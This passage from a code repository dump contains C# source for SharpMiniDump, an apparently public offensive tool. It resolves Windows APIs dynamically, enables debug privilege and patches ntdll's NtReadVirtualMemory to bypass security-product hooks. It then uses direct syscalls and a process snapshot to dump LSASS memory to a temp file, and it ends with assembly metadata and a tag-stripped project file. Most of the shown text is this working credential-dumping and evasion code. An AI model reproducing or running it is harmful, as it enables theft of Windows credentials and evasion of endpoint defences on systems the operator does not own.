1285 | public ulong R14;
1286 | public ulong R15;
1287 | public ulong Rip;
1288 |
1289 | public XSAVE_FORMAT64 DUMMYUNIONNAME;
1290 |
1291 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
1292 | public M128A[] VectorRegister;
1293 | public ulong VectorControl;
1294 |
1295 | public ulong DebugControl;
1296 | public ulong LastBranchToRip;
1297 | public ulong LastBranchFromRip;
1298 | public ulong LastExceptionToRip;
1299 | public ulong LastExceptionFromRip;
1300 | }
1301 |
1302 |
1303 | public static IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId)
1304 | {
1305 | Natives.CLIENT_ID clientid = new Natives.CLIENT_ID();
1306 | clientid.UniqueProcess = (IntPtr)processId;
1307 | clientid.UniqueThread = IntPtr.Zero;
1308 |
1309 | IntPtr hProcess = IntPtr.Zero;
1310 |
1311 | Natives.OBJECT_ATTRIBUTES objAttribute = new Natives.OBJECT_ATTRIBUTES();
1312 |
1313 | NTSTATUS res = NativeSysCall.ZwOpenProcess10(ref hProcess, processAccess, objAttribute, ref clientid);
1314 |
1315 | return hProcess;
1316 | }
1317 |
1318 | private static IntPtr GetNtDll()
1319 | {
1320 |
1321 | return LoadLibrary("ntdll.dll");
1322 |
1323 | }
1324 |
1325 |
1326 | public static int NtFilterToken(IntPtr TokenHandle, uint Flags, IntPtr SidsToDisable, IntPtr PrivilegesToDelete, IntPtr RestrictedSids, ref IntPtr hToken)
1327 | {
1328 | IntPtr proc = GetProcAddress(GetNtDll(), "NtFilterToken");
1329 | NativeSysCall.Delegates.NtFilterToken NtSetInformationToken = (NativeSysCall.Delegates.NtFilterToken)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.NtFilterToken));
1330 | return NtFilterToken(TokenHandle, Flags, SidsToDisable, PrivilegesToDelete, RestrictedSids, ref hToken);
1331 | }
1332 |
1333 | private static IntPtr GetKernel32()
1334 | {
1335 |
1336 | return LoadLibrary("Kernel32.dll");
1337 |
1338 | }
1339 |
1340 | private static IntPtr GetKernelbase()
1341 | {
1342 |
1343 | return LoadLibrary("Kernelbase.dll");
1344 |
1345 | }
1346 |
1347 | private static IntPtr GetAdvapi32()
1348 | {
1349 |
1350 | return LoadLibrary("Advapi32.dll");
1351 |
1352 | }
1353 |
1354 | private static IntPtr GetDbgcore()
1355 | {
1356 |
1357 | return LoadLibrary("dbgcore.dll");
1358 |
1359 | }
1360 |
1361 | public static IntPtr GetCurrentProcess()
1362 | {
1363 | IntPtr proc = GetProcAddress(GetKernel32(), "GetCurrentProcess");
1364 | NativeSysCall.Delegates.GetCurrentProcess GetCurrentProcess = (NativeSysCall.Delegates.GetCurrentProcess)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.GetCurrentProcess));
1365 | return GetCurrentProcess();
1366 | }
1367 |
1368 | public static bool CloseHandle(IntPtr handle)
1369 | {
1370 | IntPtr proc = GetProcAddress(GetKernel32(), "CloseHandle");
1371 | NativeSysCall.Delegates.CloseHandle CloseHandle = (NativeSysCall.Delegates.CloseHandle)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.CloseHandle));
1372 | return CloseHandle(handle);
1373 | }
1374 |
1375 | public static bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize)
1376 | {
1377 | IntPtr proc = GetProcAddress(GetKernelbase(), "UpdateProcThreadAttribute");
1378 | NativeSysCall.Delegates.UpdateProcThreadAttribute UpdateProcThreadAttribute = (NativeSysCall.Delegates.UpdateProcThreadAttribute)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.UpdateProcThreadAttribute));
1379 | return UpdateProcThreadAttribute(lpAttributeList, dwFlags, Attribute, lpValue, cbSize, lpPreviousValue, lpReturnSize);
1380 | }
1381 |
1382 | public static bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize)
1383 | {
1384 | IntPtr proc = GetProcAddress(GetKernelbase(), "InitializeProcThreadAttributeList");
1385 | NativeSysCall.Delegates.InitializeProcThreadAttributeList InitializeProcThreadAttributeList = (NativeSysCall.Delegates.InitializeProcThreadAttributeList)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.InitializeProcThreadAttributeList));
1386 | return InitializeProcThreadAttributeList(lpAttributeList, dwAttributeCount, dwFlags, ref lpSize);
1387 | }
1388 |
1389 | public static bool RtlGetVersion(ref OSVERSIONINFOEXW lpVersionInformation)
1390 | {
1391 | IntPtr proc = GetProcAddress(GetNtDll(), "RtlGetVersion");
1392 | NativeSysCall.Delegates.RtlGetVersion RtlGetVersion = (NativeSysCall.Delegates.RtlGetVersion)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.RtlGetVersion));
1393 | return RtlGetVersion(ref lpVersionInformation);
1394 | }
1395 |
1396 | public static bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect)
1397 | {
1398 | IntPtr proc = GetProcAddress(GetKernelbase(), "VirtualProtect");
1399 | NativeSysCall.Delegates.VirtualProtect VirtualProtect = (NativeSysCall.Delegates.VirtualProtect)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.VirtualProtect));
1400 | return VirtualProtect(lpAddress, dwSize, flNewProtect, out lpflOldProtect);
1401 | }
1402 |
1403 | public static bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint newprotect, out uint oldprotect)
1404 | {
1405 | IntPtr proc = GetProcAddress(GetKernelbase(), "VirtualProtectEx");
1406 | NativeSysCall.Delegates.VirtualProtectEx VirtualProtectEx = (NativeSysCall.Delegates.VirtualProtectEx)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.VirtualProtectEx));
1407 | return VirtualProtectEx(hProcess, lpAddress, dwSize, newprotect, out oldprotect);
1408 | }
1409 |
1410 | public static UInt32 LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Natives.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)
1411 | {
1412 | IntPtr proc = GetProcAddress(GetNtDll(), "LdrLoadDll");
1413 | NativeSysCall.Delegates.LdrLoadDll LdrLoadDll = (NativeSysCall.Delegates.LdrLoadDll)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.LdrLoadDll));
1414 | return (uint)LdrLoadDll(PathToFile, dwFlags, ref ModuleFileName, ref ModuleHandle);
1415 | }
1416 |
1417 | public static void RtlInitUnicodeString(ref Natives.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
1418 | {
1419 | IntPtr proc = GetProcAddress(GetNtDll(), "RtlInitUnicodeString");
1420 | NativeSysCall.Delegates.RtlInitUnicodeString RtlInitUnicodeString = (NativeSysCall.Delegates.RtlInitUnicodeString)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.RtlInitUnicodeString));
1421 | RtlInitUnicodeString(ref DestinationString, SourceString);
1422 | }
1423 |
1424 | public static bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength)
1425 | {
1426 | IntPtr proc = GetProcAddress(GetKernelbase(), "GetTokenInformation");
1427 | NativeSysCall.Delegates.GetTokenInformation GetTokenInformation = (NativeSysCall.Delegates.GetTokenInformation)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.GetTokenInformation));
1428 | return GetTokenInformation( TokenHandle, TokenInformationClass, TokenInformation, TokenInformationLength, out ReturnLength);
1429 | }
1430 |
1431 | public static bool OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken)
1432 | {
1433 | IntPtr proc = GetProcAddress(GetKernelbase(), "OpenProcessToken");
1434 | NativeSysCall.Delegates.OpenProcessToken OpenProcessToken = (NativeSysCall.Delegates.OpenProcessToken)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.OpenProcessToken));
1435 | return OpenProcessToken( hProcess, dwDesiredAccess, out hToken);
1436 | }
1437 |
1438 | public static bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, Microsoft.Win32.SafeHandles.SafeFileHandle hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam)
1439 | {
1440 | IntPtr proc = GetProcAddress(GetDbgcore(), "MiniDumpWriteDump");
1441 | NativeSysCall.Delegates.MiniDumpWriteDump MiniDumpWriteDump = (NativeSysCall.Delegates.MiniDumpWriteDump)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.MiniDumpWriteDump));
1442 | return MiniDumpWriteDump( hProcess, ProcessId, hFile, DumpType, ExceptionParam, UserStreamParam, CallbackParam);
1443 | }
1444 |
1445 | public static bool LookupPrivilegeValue(String lpSystemName, String lpName, ref LUID luid)
1446 | {
1447 | IntPtr proc = GetProcAddress(GetAdvapi32(), "LookupPrivilegeValueA");
1448 | NativeSysCall.Delegates.LookupPrivilegeValue LookupPrivilegeValue = (NativeSysCall.Delegates.LookupPrivilegeValue)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.LookupPrivilegeValue));
1449 | return LookupPrivilegeValue( lpSystemName, lpName, ref luid);
1450 | }
1451 |
1452 | public static bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, UInt32 BufferLengthInBytes, ref TOKEN_PRIVILEGES PreviousState, out UInt32 ReturnLengthInBytes)
1453 | {
1454 | IntPtr proc = GetProcAddress(GetAdvapi32(), "AdjustTokenPrivileges");
1455 | NativeSysCall.Delegates.AdjustTokenPrivileges AdjustTokenPrivileges = (NativeSysCall.Delegates.AdjustTokenPrivileges)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.AdjustTokenPrivileges));
1456 | return AdjustTokenPrivileges( TokenHandle, DisableAllPrivileges, ref NewState, BufferLengthInBytes, ref PreviousState, out ReturnLengthInBytes);
1457 | }
1458 |
1459 | public static int PssCaptureSnapshot(IntPtr ProcessHandle, PSS_CAPTURE_FLAGS CaptureFlags, int ThreadContextFlags, ref IntPtr SnapshotHandle)
1460 | {
1461 | IntPtr proc = GetProcAddress(GetKernel32(), "PssCaptureSnapshot");
1462 | NativeSysCall.Delegates.PssCaptureSnapshot PssCaptureSnapshot = (NativeSysCall.Delegates.PssCaptureSnapshot)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.PssCaptureSnapshot));
1463 | return PssCaptureSnapshot( ProcessHandle, CaptureFlags, ThreadContextFlags, ref SnapshotHandle);
1464 | }
1465 |
1466 | public static IntPtr GetProcAddress(IntPtr hModule, string procName)
1467 | {
1468 | return CustomLoadLibrary.GetExportAddress(hModule, procName);
1469 | }
1470 |
1471 |
1472 | public static IntPtr LoadLibrary(string name)
1473 | {
1474 | return CustomLoadLibrary.GetDllAddress(name, true);
1475 | }
1476 | }
1477 | }
1478 |
--------------------------------------------------------------------------------
/SharpMiniDump/Program.cs:
--------------------------------------------------------------------------------
1 | //
2 | // Author: B4rtik (@b4rtik)
3 | // Project: SharpMiniDump (https://github.com/b4rtik/SharpMiniDump)
4 | // License: BSD 3-Clause
5 | //
6 |
7 | using System;
8 | using System.ComponentModel;
9 | using System.Diagnostics;
10 | using System.IO;
11 | using System.Runtime.InteropServices;
12 | using System.Threading;
13 |
14 | namespace SharpMiniDump
15 | {
16 |
17 | public class Program
18 | {
19 | static void Main(string[] args)
20 | {
21 | Execute(args);
22 | }
23 |
24 | public static void Execute(string[] args)
25 | {
26 | if (IntPtr.Size != 8)
27 | {
28 | return;
29 | }
30 |
31 | if (!IsElevated())
32 | {
33 | Console.WriteLine("Run in High integrity context");
34 | return;
35 | }
36 |
37 | SetDebugPrivilege();
38 |
39 | Natives.WIN_VER_INFO pWinVerInfo = new Natives.WIN_VER_INFO();
40 |
41 | Natives.OSVERSIONINFOEXW osInfo = new Natives.OSVERSIONINFOEXW();
42 | osInfo.dwOSVersionInfoSize = Marshal.SizeOf(osInfo);
43 |
44 | Natives.RtlGetVersion(ref osInfo);
45 |
46 | pWinVerInfo.chOSMajorMinor = osInfo.dwMajorVersion + "." + osInfo.dwMinorVersion;
47 |
48 | Console.WriteLine("[*] OS MajorMinor version : " + pWinVerInfo.chOSMajorMinor);
49 | if(!pWinVerInfo.chOSMajorMinor.Equals("10.0"))
50 | {
51 | Console.WriteLine("[x] Windows 10 - Windows Server 2016 only");
52 | return;
53 | }
54 |
55 | pWinVerInfo.SystemCall = 0x3F;
56 |
57 | Natives.RtlInitUnicodeString(ref pWinVerInfo.ProcName, @"lsass.exe");
58 | pWinVerInfo.hTargetPID = (IntPtr)Process.GetProcessesByName("lsass")[0].Id;
59 |
60 | pWinVerInfo.lpApiCall = "NtReadVirtualMemory";
61 |
62 | if (!UnHookNativeApi(pWinVerInfo))
63 | {
64 | Console.WriteLine("[x] error unhooking {0}", pWinVerInfo.lpApiCall);
65 | return;
66 | }
67 |
68 | Natives.CLIENT_ID clientid = new Natives.CLIENT_ID();
69 | clientid.UniqueProcess = pWinVerInfo.hTargetPID;
70 | clientid.UniqueThread = IntPtr.Zero;
71 |
72 | IntPtr hProcess = IntPtr.Zero;
73 |
74 | Natives.OBJECT_ATTRIBUTES objAttribute = new Natives.OBJECT_ATTRIBUTES();
75 |
76 |
77 | var status = NativeSysCall.ZwOpenProcess10(ref hProcess, Natives.ProcessAccessFlags.All, objAttribute, ref clientid);
78 |
79 | if (hProcess == IntPtr.Zero)
80 | {
81 | Console.WriteLine("[x] Error ZwOpenProcess10 " + status);
82 | return;
83 | }
84 |
85 | Console.WriteLine("[*] ZwOpenProcess10 " + status);
86 |
87 | Natives.PSS_CAPTURE_FLAGS flags = Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_VA_CLONE
88 | | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLES
89 | | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_NAME_INFORMATION
90 | | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_BASIC_INFORMATION
91 | | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION
92 | | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_TRACE
93 | | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREADS
94 | | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREAD_CONTEXT
95 | | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREAD_CONTEXT_EXTENDED
96 | | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_BREAKAWAY
97 | | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_BREAKAWAY_OPTIONAL
98 | | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_USE_VM_ALLOCATIONS
99 | | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_RELEASE_SECTION;
100 |
101 | IntPtr SnapshotHandle = IntPtr.Zero;
102 | int pss = Natives.PssCaptureSnapshot(hProcess,flags, 1048607,ref SnapshotHandle);
103 | Console.WriteLine("[*] PssCaptureSnapshot " + pss);
104 | if (SnapshotHandle == IntPtr.Zero)
105 | {
106 | Console.WriteLine("[x] Error PssCaptureSnapshot ");
107 | return;
108 | }
109 |
110 | Natives.UNICODE_STRING uFileName = new Natives.UNICODE_STRING();
111 | Natives.RtlInitUnicodeString(ref uFileName, @"\??\C:\Windows\Temp\dumpert.dmp");
112 |
113 | Microsoft.Win32.SafeHandles.SafeFileHandle hDmpFile;
114 | IntPtr hElm = IntPtr.Zero;
115 | Natives.IO_STATUS_BLOCK IoStatusBlock = new Natives.IO_STATUS_BLOCK();
116 |
117 | IntPtr objectName = Marshal.AllocHGlobal(Marshal.SizeOf(uFileName));
118 | Marshal.StructureToPtr(uFileName, objectName, true);
119 |
120 | Natives.OBJECT_ATTRIBUTES FileObjectAttributes = new Natives.OBJECT_ATTRIBUTES
121 | {
122 | ObjectName = objectName,
123 | Attributes = 0x00000040,
124 | Length = (ulong)Marshal.SizeOf(typeof(Natives.OBJECT_ATTRIBUTES)),
125 | RootDirectory = IntPtr.Zero,
126 | SecurityDescriptor = IntPtr.Zero,
127 | SecurityQualityOfService = IntPtr.Zero
128 | };
129 |
130 | Natives.LARGE_INTEGER lint = new Natives.LARGE_INTEGER();
131 | lint.HighPart = 0;
132 | lint.LowPart = 0;
133 |
134 | long allocationsize = 0;
135 |
136 | status = NativeSysCall.NtCreateFile10(
137 | out hDmpFile,
138 | (int)Natives.FILE_GENERIC_WRITE,
139 | ref FileObjectAttributes,
140 | out IoStatusBlock,
141 | ref allocationsize,
142 | Natives.FILE_ATTRIBUTE_NORMAL,
143 | System.IO.FileShare.Write,
144 | Natives.FILE_OVERWRITE_IF,
145 | Natives.FILE_SYNCHRONOUS_IO_NONALERT,
146 | hElm, 0);
147 |
148 | if (hDmpFile.IsInvalid)
149 | {
150 | Console.WriteLine("[x] Error NtCreateFile10 " + status + " " + IoStatusBlock.status);
151 | NativeSysCall.ZwClose10(hProcess);
152 | return;
153 | }
154 |
155 |
156 | Natives.MINIDUMP_CALLBACK_INFORMATION CallbackInfo = new Natives.MINIDUMP_CALLBACK_INFORMATION();
157 | CallbackInfo.CallbackRoutine = Program.MyMiniDumpWriteDumpCallback;
158 | CallbackInfo.CallbackParam = IntPtr.Zero;
159 |
160 | IntPtr pCallbackInfo = Marshal.AllocHGlobal(Marshal.SizeOf(CallbackInfo));
161 | Marshal.StructureToPtr(CallbackInfo, pCallbackInfo, false);
162 |
163 | IntPtr ExceptionParam = IntPtr.Zero;
164 | IntPtr UserStreamParam = IntPtr.Zero;
165 | IntPtr CallbackParam = IntPtr.Zero;
166 |
167 | Console.WriteLine("[*] Target PID " + pWinVerInfo.hTargetPID);
168 | Console.WriteLine("[*] Generating minidump.... " + pWinVerInfo.hTargetPID);
169 |
170 | if (!Natives.MiniDumpWriteDump(SnapshotHandle, (uint)pWinVerInfo.hTargetPID, hDmpFile, 2, ExceptionParam, UserStreamParam, pCallbackInfo))
171 | {
172 | Console.WriteLine("[x] Error MiniDumpWriteDump ");
173 | NativeSysCall.ZwClose10(hProcess);
174 | return;
175 | }
176 |
177 | hDmpFile.Dispose();
178 | NativeSysCall.ZwClose10(hProcess);
179 |
180 | Console.WriteLine("[*] End ");
181 | Console.WriteLine("[*] Minidump generated in " + Marshal.PtrToStringUni(uFileName.Buffer).Substring(4));
182 | }
183 |
184 | private static bool UnHookNativeApi(Natives.WIN_VER_INFO pWinVerInfo)
185 | {
186 | byte[] AssemblyBytes = { 0x4C, 0x8B, 0xD1, 0xB8, 0xFF };
187 | AssemblyBytes[4] = (byte)pWinVerInfo.SystemCall;
188 |
189 | IntPtr ntdll = Natives.LoadLibrary("ntdll.dll");
190 | IntPtr proc = Natives.GetProcAddress(ntdll, pWinVerInfo.lpApiCall);
191 |
192 | IntPtr lpBaseAddress = proc;
193 | uint OldProtection = 0;
194 | uint NewProtection = 0;
195 | uint uSize = 10;
196 | var status = NativeSysCall.ZwProtectVirtualMemory10(Process.GetCurrentProcess().Handle, ref lpBaseAddress, ref uSize, 0x40, ref OldProtection);
197 | if (status != Natives.NTSTATUS.Success)
198 | {
199 | Console.WriteLine("[x] Error ZwProtectVirtualMemory10 1 " + status);
200 | return false;
201 | }
202 |
203 | IntPtr written = IntPtr.Zero;
204 | IntPtr unmanagedPointer = Marshal.AllocHGlobal(AssemblyBytes.Length);
205 | Marshal.Copy(AssemblyBytes, 0, unmanagedPointer, AssemblyBytes.Length);
206 |
207 | status = NativeSysCall.ZwWriteVirtualMemory10(Process.GetCurrentProcess().Handle, ref proc, unmanagedPointer, (uint)AssemblyBytes.Length, ref written);
208 | if (status != Natives.NTSTATUS.Success)
209 | {
210 | Console.WriteLine("[x] Error ZwWriteVirtualMemory10 " + status);
211 | return false;
212 | }
213 |
214 | status = NativeSysCall.ZwProtectVirtualMemory10(Process.GetCurrentProcess().Handle, ref lpBaseAddress, ref uSize, OldProtection, ref NewProtection);
215 | if (status != Natives.NTSTATUS.Success)
216 | {
217 | Console.WriteLine("[x] Error ZwProtectVirtualMemory10 2" + status);
218 | return false;
219 | }
220 |
221 | Marshal.FreeHGlobal(unmanagedPointer);
222 |
223 | return true;
224 | }
225 |
226 | private static bool IsElevated()
227 | {
228 | return TokenIsElevated(GetCurrentProcessToken());
229 | }
230 |
231 | private static IntPtr GetCurrentProcessToken()
232 | {
233 | //https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Credentials/Tokens.cs
234 | IntPtr currentProcessToken = new IntPtr();
235 | if (!Natives.OpenProcessToken(Process.GetCurrentProcess().Handle, Natives.TOKEN_ALL_ACCESS, out currentProcessToken))
236 | {
237 | Console.WriteLine("Error OpenProcessToken " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
238 | return IntPtr.Zero;
239 | }
240 | return currentProcessToken;
241 | }
242 |
243 | private static bool TokenIsElevated(IntPtr hToken)
244 | {
245 | Natives.TOKEN_ELEVATION tk = new Natives.TOKEN_ELEVATION();
246 | tk.TokenIsElevated = 0;
247 |
248 | IntPtr lpValue = Marshal.AllocHGlobal(Marshal.SizeOf(tk));
249 | Marshal.StructureToPtr(tk, lpValue, false);
250 |
251 | UInt32 tokenInformationLength = (UInt32)Marshal.SizeOf(typeof(Natives.TOKEN_ELEVATION));
252 | UInt32 returnLength;
253 |
254 | Boolean result = Natives.GetTokenInformation(
255 | hToken,
256 | Natives.TOKEN_INFORMATION_CLASS.TokenElevation,
257 | lpValue,
258 | tokenInformationLength,
259 | out returnLength
260 | );
261 |
262 | Natives.TOKEN_ELEVATION elv = (Natives.TOKEN_ELEVATION)Marshal.PtrToStructure(lpValue, typeof(Natives.TOKEN_ELEVATION));
263 |
264 | if (elv.TokenIsElevated == 1)
265 | {
266 | return true;
267 | }
268 | else
269 | {
270 |
271 | return false;
272 | }
273 | }
274 |
275 | public static bool SetDebugPrivilege()
276 | {
277 | //https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Credentials/Tokens.cs
278 | string Privilege = "SeDebugPrivilege";
279 | IntPtr hToken = GetCurrentProcessToken();
280 | Natives.LUID luid = new Natives.LUID();
281 | if (!Natives.LookupPrivilegeValue(null, Privilege, ref luid))
282 | {
283 | Console.WriteLine("Error LookupPrivilegeValue" + new Win32Exception(Marshal.GetLastWin32Error()).Message);
284 | return false;
285 | }
286 |
287 | Natives.LUID_AND_ATTRIBUTES luidAndAttributes = new Natives.LUID_AND_ATTRIBUTES();
288 | luidAndAttributes.Luid = luid;
289 | luidAndAttributes.Attributes = Natives.SE_PRIVILEGE_ENABLED;
290 |
291 | Natives.TOKEN_PRIVILEGES newState = new Natives.TOKEN_PRIVILEGES();
292 | newState.PrivilegeCount = 1;
293 | newState.Privileges = luidAndAttributes;
294 |
295 | Natives.TOKEN_PRIVILEGES previousState = new Natives.TOKEN_PRIVILEGES();
296 | UInt32 returnLength = 0;
297 | if (!Natives.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out returnLength))
298 | {
299 | Console.WriteLine("AdjustTokenPrivileges() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
300 | return false;
301 | }
302 |
303 | return true;
304 | }
305 |
306 | private static bool MyMiniDumpWriteDumpCallback(IntPtr CallbackParam, ref Natives.MINIDUMP_CALLBACK_INPUT CallbackInput, ref Natives.MINIDUMP_CALLBACK_OUTPUT CallbackOutput)
307 | {
308 | switch (CallbackInput.CallbackType)
309 | {
310 | case Natives.MINIDUMP_CALLBACK_TYPE.IsProcessSnapshotCallback: // IsProcessSnapshotCallback
311 | CallbackOutput.Status = 1;
312 | break;
313 | }
314 | return true;
315 | }
316 | }
317 | }
318 |
--------------------------------------------------------------------------------
/SharpMiniDump/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // Le informazioni generali relative a un assembly sono controllate dal seguente
6 | // set di attributi. Modificare i valori di questi attributi per modificare le informazioni
7 | // associate a un assembly.
8 | [assembly: AssemblyTitle("SharpMiniDump")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SharpMiniDump")]
13 | [assembly: AssemblyCopyright("Copyright © 2019")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Se si imposta ComVisible su false, i tipi in questo assembly non saranno visibili
18 | // ai componenti COM. Se è necessario accedere a un tipo in questo assembly da
19 | // COM, impostare su true l'attributo ComVisible per tale tipo.
20 | [assembly: ComVisible(false)]
21 |
22 | // Se il progetto viene esposto a COM, il GUID seguente verrà utilizzato come ID della libreria dei tipi
23 | [assembly: Guid("6ffccf81-6c3c-4d3f-b15f-35a86d0b497f")]
24 |
25 | // Le informazioni sulla versione di un assembly sono costituite dai seguenti quattro valori:
26 | //
27 | // Versione principale
28 | // Versione secondaria
29 | // Numero di build
30 | // Revisione
31 | //
32 | // È possibile specificare tutti i valori oppure impostare valori predefiniti per i numeri relativi alla revisione e alla build
33 | // usando l'asterisco '*' come illustrato di seguito:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/SharpMiniDump/SharpMiniDump.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}
8 | Exe
9 | SharpMiniDump
10 | SharpMiniDump
11 | v4.0
12 | 512
13 | true
14 |
15 |
16 | x64
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 | true
25 |
26 |
27 | x64
28 | pdbonly
29 | false
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 | true
35 |
36 |
37 | true
38 | bin\x64\Debug\
39 | DEBUG;TRACE
40 | true
41 | full
42 | x64
43 | prompt
44 | MinimumRecommendedRules.ruleset
45 |
46 |
47 | bin\x64\Release\
48 | TRACE
49 | true
50 | pdbonly
51 | x64
52 | prompt
53 | MinimumRecommendedRules.ruleset
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
--------------------------------------------------------------------------------